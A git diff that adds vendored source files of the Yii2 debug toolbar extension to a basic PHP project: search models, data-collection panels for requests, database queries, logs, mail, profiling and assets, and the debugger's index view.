b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Base.php @@ -0,0 +1,44 @@ + + * @since 2.0 + */ +class Base extends Model +{ + /** + * Adds filtering condition for a given attribute + * + * @param Filter $filter filter instance + * @param string $attribute attribute to filter + * @param boolean $partial if partial match should be used + */ + public function addCondition(Filter $filter, $attribute, $partial = false) + { + $value = $this->$attribute; + + if (mb_strpos($value, '>') !== false) { + $value = intval(str_replace('>', '', $value)); + $filter->addMatcher($attribute, new matchers\GreaterThan(['value' => $value])); + + } elseif (mb_strpos($value, '<') !== false) { + $value = intval(str_replace('<', '', $value)); + $filter->addMatcher($attribute, new matchers\LowerThan(['value' => $value])); + } else { + $filter->addMatcher($attribute, new matchers\SameAs(['value' => $value, 'partial' => $partial])); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Db.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Db.php new file mode 100644 index 00000000..771fb9f1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Db.php @@ -0,0 +1,84 @@ + + * @author Mark Jebri + * @since 2.0 + */ +class Db extends Base +{ + /** + * @var string type of the input search value + */ + public $type; + /** + * @var integer query attribute input search value + */ + public $query; + + + /** + * @inheritdoc + */ + public function rules() + { + return [ + [['type', 'query'], 'safe'], + ]; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'type' => 'Type', + 'query' => 'Query', + ]; + } + + /** + * Returns data provider with filled models. Filter applied if needed. + * + * @param array $params an array of parameter values indexed by parameter names + * @param array $models data to return provider for + * @return \yii\data\ArrayDataProvider + */ + public function search($params, $models) + { + $dataProvider = new ArrayDataProvider([ + 'allModels' => $models, + 'pagination' => false, + 'sort' => [ + 'attributes' => ['duration', 'seq', 'type', 'query'], + 'defaultOrder' => [ + 'duration' => SORT_DESC, + ], + ], + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + $filter = new Filter(); + $this->addCondition($filter, 'type', true); + $this->addCondition($filter, 'query', true); + $dataProvider->allModels = $filter->filter($models); + + return $dataProvider; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Debug.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Debug.php new file mode 100644 index 00000000..1f496c8b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Debug.php @@ -0,0 +1,133 @@ + + * @author Mark Jebri + * @since 2.0 + */ +class Debug extends Base +{ + /** + * @var string tag attribute input search value + */ + public $tag; + /** + * @var string ip attribute input search value + */ + public $ip; + /** + * @var string method attribute input search value + */ + public $method; + /** + * @var integer ajax attribute input search value + */ + public $ajax; + /** + * @var string url attribute input search value + */ + public $url; + /** + * @var string status code attribute input search value + */ + public $statusCode; + /** + * @var integer sql count attribute input search value + */ + public $sqlCount; + /** + * @var integer total mail count attribute input search value + */ + public $mailCount; + /** + * @var array critical codes, used to determine grid row options. + */ + public $criticalCodes = [400, 404, 500]; + + + /** + * @inheritdoc + */ + public function rules() + { + return [ + [['tag', 'ip', 'method', 'ajax', 'url', 'statusCode', 'sqlCount', 'mailCount'], 'safe'], + ]; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'tag' => 'Tag', + 'ip' => 'Ip', + 'method' => 'Method', + 'ajax' => 'Ajax', + 'url' => 'url', + 'statusCode' => 'Status code', + 'sqlCount' => 'Query Count', + 'mailCount' => 'Mail Count', + ]; + } + + /** + * Returns data provider with filled models. Filter applied if needed. + * @param array $params an array of parameter values indexed by parameter names + * @param array $models data to return provider for + * @return \yii\data\ArrayDataProvider + */ + public function search($params, $models) + { + $dataProvider = new ArrayDataProvider([ + 'allModels' => $models, + 'sort' => [ + 'attributes' => ['method', 'ip', 'tag', 'time', 'statusCode', 'sqlCount', 'mailCount'], + ], + 'pagination' => [ + 'pageSize' => 50, + ], + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + $filter = new Filter(); + $this->addCondition($filter, 'tag', true); + $this->addCondition($filter, 'ip', true); + $this->addCondition($filter, 'method'); + $this->addCondition($filter, 'ajax'); + $this->addCondition($filter, 'url', true); + $this->addCondition($filter, 'statusCode'); + $this->addCondition($filter, 'sqlCount'); + $this->addCondition($filter, 'mailCount'); + $dataProvider->allModels = $filter->filter($models); + + return $dataProvider; + } + + /** + * Checks if code is critical. + * + * @param integer $code + * @return boolean + */ + public function isCodeCritical($code) + { + return in_array($code, $this->criticalCodes); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Log.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Log.php new file mode 100644 index 00000000..fe9dcf4f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Log.php @@ -0,0 +1,87 @@ + + * @author Mark Jebri + * @since 2.0 + */ +class Log extends Base +{ + /** + * @var string ip attribute input search value + */ + public $level; + /** + * @var string method attribute input search value + */ + public $category; + /** + * @var integer message attribute input search value + */ + public $message; + + + /** + * @inheritdoc + */ + public function rules() + { + return [ + [['level', 'message', 'category'], 'safe'], + ]; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'level' => 'Level', + 'category' => 'Category', + 'message' => 'Message', + ]; + } + + /** + * Returns data provider with filled models. Filter applied if needed. + * + * @param array $params an array of parameter values indexed by parameter names + * @param array $models data to return provider for + * @return \yii\data\ArrayDataProvider + */ + public function search($params, $models) + { + $dataProvider = new ArrayDataProvider([ + 'allModels' => $models, + 'pagination' => false, + 'sort' => [ + 'attributes' => ['time', 'level', 'category', 'message'], + ], + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + $filter = new Filter(); + $this->addCondition($filter, 'level'); + $this->addCondition($filter, 'category', true); + $this->addCondition($filter, 'message', true); + $dataProvider->allModels = $filter->filter($models); + + return $dataProvider; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Mail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Mail.php new file mode 100644 index 00000000..50d2c2c0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Mail.php @@ -0,0 +1,121 @@ + + * @since 2.0 + */ +class Mail extends Base +{ + /** + * @var string from attribute input search value + */ + public $from; + /** + * @var string to attribute input search value + */ + public $to; + /** + * @var string reply attribute input search value + */ + public $reply; + /** + * @var string cc attribute input search value + */ + public $cc; + /** + * @var string bcc attribute input search value + */ + public $bcc; + /** + * @var string subject attribute input search value + */ + public $subject; + /** + * @var string body attribute input search value + */ + public $body; + /** + * @var string charset attribute input search value + */ + public $charset; + /** + * @var string headers attribute input search value + */ + public $headers; + /** + * @var string file attribute input search value + */ + public $file; + + + public function rules() + { + return [ + [['from', 'to', 'reply', 'cc', 'bcc', 'subject', 'body', 'charset'], 'safe'], + ]; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'from' => 'From', + 'to' => 'To', + 'reply' => 'Reply', + 'cc' => 'Copy receiver', + 'bcc' => 'Hidden copy receiver', + 'subject' => 'Subject', + 'charset' => 'Charset' + ]; + } + + /** + * Returns data provider with filled models. Filter applied if needed. + * @param array $params + * @param array $models + * @return \yii\data\ArrayDataProvider + */ + public function search($params, $models) + { + $dataProvider = new ArrayDataProvider([ + 'allModels' => $models, + 'pagination' => [ + 'pageSize' => 20, + ], + 'sort' => [ + 'attributes' => ['from', 'to', 'reply', 'cc', 'bcc', 'subject', 'body', 'charset'], + ], + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + $filter = new Filter(); + $this->addCondition($filter, 'from', true); + $this->addCondition($filter, 'to', true); + $this->addCondition($filter, 'reply', true); + $this->addCondition($filter, 'cc', true); + $this->addCondition($filter, 'bcc', true); + $this->addCondition($filter, 'subject', true); + $this->addCondition($filter, 'body', true); + $this->addCondition($filter, 'charset', true); + $dataProvider->allModels = $filter->filter($models); + + return $dataProvider; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Profile.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Profile.php new file mode 100644 index 00000000..85f713c5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/models/search/Profile.php @@ -0,0 +1,84 @@ + + * @author Mark Jebri + * @since 2.0 + */ +class Profile extends Base +{ + /** + * @var string method attribute input search value + */ + public $category; + /** + * @var integer info attribute input search value + */ + public $info; + + + /** + * @inheritdoc + */ + public function rules() + { + return [ + [['category', 'info'], 'safe'], + ]; + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'category' => 'Category', + 'info' => 'Info', + ]; + } + + /** + * Returns data provider with filled models. Filter applied if needed. + * + * @param array $params an array of parameter values indexed by parameter names + * @param array $models data to return provider for + * @return \yii\data\ArrayDataProvider + */ + public function search($params, $models) + { + $dataProvider = new ArrayDataProvider([ + 'allModels' => $models, + 'pagination' => false, + 'sort' => [ + 'attributes' => ['category', 'seq', 'duration', 'info'], + 'defaultOrder' => [ + 'seq' => SORT_ASC, + ], + ], + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + $filter = new Filter(); + $this->addCondition($filter, 'category', true); + $this->addCondition($filter, 'info', true); + $dataProvider->allModels = $filter->filter($models); + + return $dataProvider; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/AssetPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/AssetPanel.php new file mode 100644 index 00000000..8a3a2301 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/AssetPanel.php @@ -0,0 +1,154 @@ + + * @since 2.0 + */ +class AssetPanel extends Panel +{ + /** + * @inheritdoc + */ + public function getName() + { + return 'Asset Bundles'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/assets/summary', ['panel' => $this]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + return Yii::$app->view->render('panels/assets/detail', ['panel' => $this]); + } + + /** + * @inheritdoc + */ + public function save() + { + $bundles = Yii::$app->view->assetManager->bundles; + if (empty($bundles)) { + return []; + } + $data = []; + foreach ($bundles as $name => $bundle) { + if ($bundle instanceof AssetBundle) { + $data[$name] = (array) $bundle; + } + } + return $data; + + $cssCount = 0; + $jsCount = 0; + foreach ($bundles as $bundle) { + + $cssCount += count($bundle->css); + $jsCount += count($bundle->js); + + array_walk($bundle->css, function(&$file, $key, $data) { + $file = Html::a($file, $data->baseUrl . '/' . $file, ['target' => '_blank']); + }, $bundle); + + array_walk($bundle->js, function(&$file, $key, $data) { + $file = Html::a($file, $data->baseUrl . '/' . $file, ['target' => '_blank']); + }, $bundle); + + array_walk($bundle->depends, function(&$depend) { + $depend = Html::a($depend, '#' . $depend); + }); + + $this->formatOptions($bundle->publishOptions); + $this->formatOptions($bundle->jsOptions); + $this->formatOptions($bundle->cssOptions); + } + + $data = [ + 'totalBundles' => count($this->bundles), + 'totalCssFiles' => $this->cssCount, + 'totalJsFiles' => $this->jsCount, + 'bundles' => $this->bundles, + ]; + + return $data; + } + + /** + * Additional formatting for view. + * + * @param AssetBundle[] $bundles Array of bundles to formatting. + * + * @return AssetManager + */ + protected function format(array $bundles) + { + foreach ($bundles as $bundle) { + + $this->cssCount += count($bundle->css); + $this->jsCount += count($bundle->js); + + array_walk($bundle->css, function(&$file, $key, $userdata) { + $file = Html::a($file, $userdata->baseUrl . '/' . $file, ['target' => '_blank']); + }, $bundle); + + array_walk($bundle->js, function(&$file, $key, $userdata) { + $file = Html::a($file, $userdata->baseUrl . '/' . $file, ['target' => '_blank']); + }, $bundle); + + array_walk($bundle->depends, function(&$depend) { + $depend = Html::a($depend, '#' . $depend); + }); + + $this->formatOptions($bundle->publishOptions); + $this->formatOptions($bundle->jsOptions); + $this->formatOptions($bundle->cssOptions); + } + + return $bundles; + } + + /** + * Format associative array of params to simple value. + * + * @param array $params + * + * @return array + */ + protected function formatOptions(array &$params) + { + if (!is_array($params)) { + return $params; + } + + foreach ($params as $param => $value) { + $params[$param] = Html::tag('strong', '\'' . $param . '\' => ') . (string) $value; + } + + return $params; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ConfigPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ConfigPanel.php new file mode 100644 index 00000000..aa175e80 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ConfigPanel.php @@ -0,0 +1,103 @@ + + * @since 2.0 + */ +class ConfigPanel extends Panel +{ + /** + * @inheritdoc + */ + public function getName() + { + return 'Configuration'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/config/summary', ['panel' => $this]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + return Yii::$app->view->render('panels/config/detail', ['panel' => $this]); + } + + /** + * Returns data about extensions + * + * @return array + */ + public function getExtensions() + { + $data = []; + foreach ($this->data['extensions'] as $extension) { + $data[$extension['name']] = $extension['version']; + } + + return $data; + } + + /** + * Returns the BODY contents of the phpinfo() output + * + * @return array + */ + public function getPhpInfo() + { + ob_start(); + phpinfo(); + $pinfo = ob_get_contents(); + ob_end_clean(); + $phpinfo = preg_replace('%^.*(.*).*$%ms', '$1', $pinfo); + $phpinfo = str_replace(' PHP_VERSION, + 'yiiVersion' => Yii::getVersion(), + 'application' => [ + 'yii' => Yii::getVersion(), + 'name' => Yii::$app->name, + 'env' => YII_ENV, + 'debug' => YII_DEBUG, + ], + 'php' => [ + 'version' => PHP_VERSION, + 'xdebug' => extension_loaded('xdebug'), + 'apc' => extension_loaded('apc'), + 'memcache' => extension_loaded('memcache'), + ], + 'extensions' => Yii::$app->extensions, + ]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/DbPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/DbPanel.php new file mode 100644 index 00000000..37bde4eb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/DbPanel.php @@ -0,0 +1,183 @@ + + * @since 2.0 + */ +class DbPanel extends Panel +{ + /** + * @var integer the threshold for determining whether the request has involved + * critical number of DB queries. If the number of queries exceeds this number, + * the execution is considered taking critical number of DB queries. + */ + public $criticalQueryThreshold; + + /** + * @var array db queries info extracted to array as models, to use with data provider. + */ + private $_models; + /** + * @var array current database request timings + */ + private $_timings; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Database'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + $timings = $this->calculateTimings(); + $queryCount = count($timings); + $queryTime = number_format($this->getTotalQueryTime($timings) * 1000) . ' ms'; + + return Yii::$app->view->render('panels/db/summary', [ + 'timings' => $this->calculateTimings(), + 'panel' => $this, + 'queryCount' => $queryCount, + 'queryTime' => $queryTime, + ]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + $searchModel = new Db(); + $dataProvider = $searchModel->search(Yii::$app->request->getQueryParams(), $this->getModels()); + + return Yii::$app->view->render('panels/db/detail', [ + 'panel' => $this, + 'dataProvider' => $dataProvider, + 'searchModel' => $searchModel, + ]); + } + + /** + * Calculates given request profile timings. + * + * @return array timings [token, category, timestamp, traces, nesting level, elapsed time] + */ + protected function calculateTimings() + { + if ($this->_timings === null) { + $this->_timings = Yii::getLogger()->calculateTimings($this->data['messages']); + } + + return $this->_timings; + } + + /** + * @inheritdoc + */ + public function save() + { + return ['messages' => $this->getProfileLogs()]; + } + + /** + * Returns all profile logs of the current request for this panel. It includes categories such as: + * 'yii\db\Command::query', 'yii\db\Command::execute'. + * @return array + */ + public function getProfileLogs() + { + $target = $this->module->logTarget; + + return $target->filterMessages($target->messages, Logger::LEVEL_PROFILE, ['yii\db\Command::query', 'yii\db\Command::execute']); + } + + /** + * Returns total query time. + * + * @param array $timings + * @return integer total time + */ + protected function getTotalQueryTime($timings) + { + $queryTime = 0; + + foreach ($timings as $timing) { + $queryTime += $timing['duration']; + } + + return $queryTime; + } + + /** + * Returns an array of models that represents logs of the current request. + * Can be used with data providers such as \yii\data\ArrayDataProvider. + * @return array models + */ + protected function getModels() + { + if ($this->_models === null) { + $this->_models = []; + $timings = $this->calculateTimings(); + + foreach ($timings as $seq => $dbTiming) { + $this->_models[] = [ + 'type' => $this->getQueryType($dbTiming['info']), + 'query' => $dbTiming['info'], + 'duration' => ($dbTiming['duration'] * 1000), // in milliseconds + 'trace' => $dbTiming['trace'], + 'timestamp' => ($dbTiming['timestamp'] * 1000), // in milliseconds + 'seq' => $seq, + ]; + } + } + + return $this->_models; + } + + /** + * Returns database query type. + * + * @param string $timing timing procedure string + * @return string query type such as select, insert, delete, etc. + */ + protected function getQueryType($timing) + { + $timing = ltrim($timing); + preg_match('/^([a-zA-z]*)/', $timing, $matches); + + return count($matches) ? $matches[0] : ''; + } + + /** + * Check if given queries count is critical according settings. + * + * @param integer $count queries count + * @return boolean + */ + public function isQueryCountCritical($count) + { + return (($this->criticalQueryThreshold !== null) && ($count > $this->criticalQueryThreshold)); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/LogPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/LogPanel.php new file mode 100644 index 00000000..f7e5bb1f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/LogPanel.php @@ -0,0 +1,95 @@ + + * @since 2.0 + */ +class LogPanel extends Panel +{ + /** + * @var array log messages extracted to array as models, to use with data provider. + */ + private $_models; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Logs'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/log/summary', ['data' => $this->data, 'panel' => $this]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + $searchModel = new Log(); + $dataProvider = $searchModel->search(Yii::$app->request->getQueryParams(), $this->getModels()); + + return Yii::$app->view->render('panels/log/detail', [ + 'dataProvider' => $dataProvider, + 'panel' => $this, + 'searchModel' => $searchModel, + ]); + } + + /** + * @inheritdoc + */ + public function save() + { + $target = $this->module->logTarget; + $messages = $target->filterMessages($target->messages, Logger::LEVEL_ERROR | Logger::LEVEL_INFO | Logger::LEVEL_WARNING | Logger::LEVEL_TRACE); + return ['messages' => $messages]; + } + + /** + * Returns an array of models that represents logs of the current request. + * Can be used with data providers, such as \yii\data\ArrayDataProvider. + * + * @param boolean $refresh if need to build models from log messages and refresh them. + * @return array models + */ + protected function getModels($refresh = false) + { + if ($this->_models === null || $refresh) { + $this->_models = []; + + foreach ($this->data['messages'] as $message) { + $this->_models[] = [ + 'message' => $message[0], + 'level' => $message[1], + 'category' => $message[2], + 'time' => ($message[3] * 1000), // time in milliseconds + 'trace' => $message[4] + ]; + } + } + + return $this->_models; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/MailPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/MailPanel.php new file mode 100644 index 00000000..d6daf027 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/MailPanel.php @@ -0,0 +1,153 @@ + + * @since 2.0 + */ +class MailPanel extends Panel +{ + /** + * @var string path where all emails will be saved. should be an alias. + */ + public $mailPath = '@runtime/debug/mail'; + + /** + * @var array current request sent messages + */ + private $_messages = []; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + Event::on(BaseMailer::className(), BaseMailer::EVENT_AFTER_SEND, function ($event) { + + /* @var $message MessageInterface */ + $message = $event->message; + $messageData = [ + 'isSuccessful' => $event->isSuccessful, + 'from' => $this->convertParams($message->getFrom()), + 'to' => $this->convertParams($message->getTo()), + 'reply' => $this->convertParams($message->getReplyTo()), + 'cc' => $this->convertParams($message->getCc()), + 'bcc' => $this->convertParams($message->getBcc()), + 'subject' => $message->getSubject(), + 'charset' => $message->getCharset(), + ]; + + // add more information when message is a SwiftMailer message + if ($message instanceof \yii\swiftmailer\Message) { + /* @var $swiftMessage \Swift_Message */ + $swiftMessage = $message->getSwiftMessage(); + + $body = $swiftMessage->getBody(); + if (empty($body)) { + $parts = $swiftMessage->getChildren(); + foreach ($parts as $part) { + if (!($part instanceof \Swift_Mime_Attachment)) { + /* @var $part \Swift_Mime_MimePart */ + if ($part->getContentType() == 'text/plain') { + $messageData['charset'] = $part->getCharset(); + $body = $part->getBody(); + break; + } + } + } + } + + $messageData['body'] = $body; + $messageData['time'] = $swiftMessage->getDate(); + $messageData['headers'] = $swiftMessage->getHeaders(); + + } + + // store message as file + $fileName = $event->sender->generateMessageFileName(); + FileHelper::createDirectory(Yii::getAlias($this->mailPath)); + file_put_contents(Yii::getAlias($this->mailPath) . '/' . $fileName, $message->toString()); + $messageData['file'] = $fileName; + + $this->_messages[] = $messageData; + }); + } + + /** + * @inheritdoc + */ + public function getName() + { + return 'Mail'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/mail/summary', ['panel' => $this, 'mailCount' => count($this->data)]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + $searchModel = new Mail(); + $dataProvider = $searchModel->search(Yii::$app->request->get(), $this->data); + + return Yii::$app->view->render('panels/mail/detail', [ + 'panel' => $this, + 'dataProvider' => $dataProvider, + 'searchModel' => $searchModel + ]); + } + + /** + * @inheritdoc + */ + public function save() + { + return $this->getMessages(); + } + + /** + * Returns info about messages of current request. Each element is array holding + * message info, such as: time, reply, bc, cc, from, to and other. + * @return array messages + */ + public function getMessages() + { + return $this->_messages; + } + + private function convertParams($attr) + { + if (is_array($attr)) { + $attr = implode(', ', array_keys($attr)); + } + + return $attr; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ProfilingPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ProfilingPanel.php new file mode 100644 index 00000000..16f1c9a7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/ProfilingPanel.php @@ -0,0 +1,104 @@ + + * @since 2.0 + */ +class ProfilingPanel extends Panel +{ + /** + * @var array current request profile timings + */ + private $_models; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Profiling'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/profile/summary', [ + 'memory' => sprintf('%.1f MB', $this->data['memory'] / 1048576), + 'time' => number_format($this->data['time'] * 1000) . ' ms', + 'panel' => $this + ]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + $searchModel = new Profile(); + $dataProvider = $searchModel->search(Yii::$app->request->getQueryParams(), $this->getModels()); + + return Yii::$app->view->render('panels/profile/detail', [ + 'panel' => $this, + 'dataProvider' => $dataProvider, + 'searchModel' => $searchModel, + 'memory' => sprintf('%.1f MB', $this->data['memory'] / 1048576), + 'time' => number_format($this->data['time'] * 1000) . ' ms', + ]); + } + + /** + * @inheritdoc + */ + public function save() + { + $target = $this->module->logTarget; + $messages = $target->filterMessages($target->messages, Logger::LEVEL_PROFILE); + return [ + 'memory' => memory_get_peak_usage(), + 'time' => microtime(true) - YII_BEGIN_TIME, + 'messages' => $messages, + ]; + } + + /** + * Returns array of profiling models that can be used in a data provider. + * @return array models + */ + protected function getModels() + { + if ($this->_models === null) { + $this->_models = []; + $timings = Yii::getLogger()->calculateTimings($this->data['messages']); + + foreach ($timings as $seq => $profileTiming) { + $this->_models[] = [ + 'duration' => $profileTiming['duration'] * 1000, // in milliseconds + 'category' => $profileTiming['category'], + 'info' => $profileTiming['info'], + 'level' => $profileTiming['level'], + 'timestamp' => $profileTiming['timestamp'] * 1000, //in milliseconds + 'seq' => $seq, + ]; + } + } + + return $this->_models; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/RequestPanel.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/RequestPanel.php new file mode 100644 index 00000000..d67ea196 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/panels/RequestPanel.php @@ -0,0 +1,133 @@ + + * @since 2.0 + */ +class RequestPanel extends Panel +{ + /** + * @inheritdoc + */ + public function getName() + { + return 'Request'; + } + + /** + * @inheritdoc + */ + public function getSummary() + { + return Yii::$app->view->render('panels/request/summary', ['panel' => $this]); + } + + /** + * @inheritdoc + */ + public function getDetail() + { + return Yii::$app->view->render('panels/request/detail', ['panel' => $this]); + } + + /** + * @inheritdoc + */ + public function save() + { + $headers = Yii::$app->getRequest()->getHeaders(); + $requestHeaders = []; + foreach ($headers as $name => $value) { + if (is_array($value) && count($value) == 1) { + $requestHeaders[$name] = current($value); + } else { + $requestHeaders[$name] = $value; + } + } + + $responseHeaders = []; + foreach (headers_list() as $header) { + if (($pos = strpos($header, ':')) !== false) { + $name = substr($header, 0, $pos); + $value = trim(substr($header, $pos + 1)); + if (isset($responseHeaders[$name])) { + if (!is_array($responseHeaders[$name])) { + $responseHeaders[$name] = [$responseHeaders[$name], $value]; + } else { + $responseHeaders[$name][] = $value; + } + } else { + $responseHeaders[$name] = $value; + } + } else { + $responseHeaders[] = $header; + } + } + if (Yii::$app->requestedAction) { + if (Yii::$app->requestedAction instanceof InlineAction) { + $action = get_class(Yii::$app->requestedAction->controller) . '::' . Yii::$app->requestedAction->actionMethod . '()'; + } else { + $action = get_class(Yii::$app->requestedAction) . '::run()'; + } + } else { + $action = null; + } + + return [ + 'flashes' => $this->getFlashes(), + 'statusCode' => Yii::$app->getResponse()->getStatusCode(), + 'requestHeaders' => $requestHeaders, + 'responseHeaders' => $responseHeaders, + 'route' => Yii::$app->requestedAction ? Yii::$app->requestedAction->getUniqueId() : Yii::$app->requestedRoute, + 'action' => $action, + 'actionParams' => Yii::$app->requestedParams, + 'requestBody' => Yii::$app->getRequest()->getRawBody() == '' ? [] : [ + 'Content Type' => Yii::$app->getRequest()->getContentType(), + 'Raw' => Yii::$app->getRequest()->getRawBody(), + 'Decoded to Params' => Yii::$app->getRequest()->getBodyParams(), + ], + 'SERVER' => empty($_SERVER) ? [] : $_SERVER, + 'GET' => empty($_GET) ? [] : $_GET, + 'POST' => empty($_POST) ? [] : $_POST, + 'COOKIE' => empty($_COOKIE) ? [] : $_COOKIE, + 'FILES' => empty($_FILES) ? [] : $_FILES, + 'SESSION' => empty($_SESSION) ? [] : $_SESSION, + ]; + } + + /** + * Getting flash messages without deleting them or touching deletion counters + * + * @return array flash messages (key => message). + */ + protected function getFlashes() + { + /* @var $session \yii\web\Session */ + $session = Yii::$app->has('session', true) ? Yii::$app->get('session') : null; + if ($session === null) { + return []; + } + + $counters = $session->get($session->flashParam, []); + $flashes = []; + foreach (array_keys($counters) as $key) { + if (array_key_exists($key, $_SESSION)) { + $flashes[$key] = $_SESSION[$key]; + } + } + return $flashes; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/index.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/index.php new file mode 100644 index 00000000..f2745f34 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/index.php @@ -0,0 +1,128 @@ +title = 'Yii Debugger'; +?> +
            + +
            + + + getSummary() ?> + +
            + +
            +
            +context->module->panels['db']) && isset($this->context->module->panels['request'])) { + + echo "

            Available Debug Data

            "; + + $codes = []; + foreach ($manifest as $tag => $vals) { + if (!empty($vals['statusCode'])) { + $codes[] = $vals['statusCode']; + } + } + $codes = array_unique($codes, SORT_NUMERIC); + $statusCodes = !empty($codes) ? array_combine($codes, $codes) : null; + + echo GridView::widget([ + 'dataProvider' => $dataProvider, + 'filterModel' => $searchModel, + 'rowOptions' => function ($model, $key, $index, $grid) use ($searchModel) { + $dbPanel = $this->context->module->panels['db']; + + if ($searchModel->isCodeCritical($model['statusCode']) || $dbPanel->isQueryCountCritical($model['sqlCount'])) { + return ['class'=>'danger']; + } else { + return []; + } + }, + 'columns' => [ + ['class' => 'yii\grid\SerialColumn'], + [ + 'attribute' => 'tag', + 'value' => function ($data) { + return Html::a($data['tag'], ['view', 'tag' => $data['tag']]); + }, + 'format' => 'html', + ], + [ + 'attribute' => 'time', + 'value' => function ($data) { + return '' . Yii::$app->formatter->asDateTime($data['time'], 'short') . ''; + }, + 'format' => 'html', + ], + 'ip', + [ + 'attribute' => 'sqlCount', + 'label' => 'Query Count', + 'value' => function ($data) { + $dbPanel = $this->context->module->panels['db']; + + if ($dbPanel->isQueryCountCritical($data['sqlCount'])) { + + $content = Html::tag('b', $data['sqlCount']) . ' ' . Html::tag('span', '', ['class' => 'glyphicon glyphicon-exclamation-sign']); + + return Html::a($content, ['view', 'panel' => 'db', 'tag' => $data['tag']], [ + 'title' => 'Too many queries. Allowed count is ' . $dbPanel->criticalQueryThreshold, + ]); + + } else { + return $data['sqlCount']; + } + }, + 'format' => 'html', + ], + [ + 'attribute' => 'mailCount', + 'visible' => isset($this->context->module->panels['mail']), + ], + [ + 'attribute' => 'method', + 'filter' => ['get' => 'GET', 'post' => 'POST', 'delete' => 'DELETE', 'put' => 'PUT', 'head' => 'HEAD'] + ], + [ + 'attribute'=>'ajax', + 'value' => function ($data) { + return $data['ajax'] ? 'Yes' : 'No'; + }, + 'filter' => ['No', 'Yes'], + ], + [ + 'attribute' => 'url', + 'label' => 'URL', + ], + [ + 'attribute' => 'statusCode', + 'filter' => $statusCodes, + 'label' => 'Status code' + ], + ], + ]); + +} else { + echo "
            No data available. Panel db or request not found.
            "; +} + +?> +
            +
            +
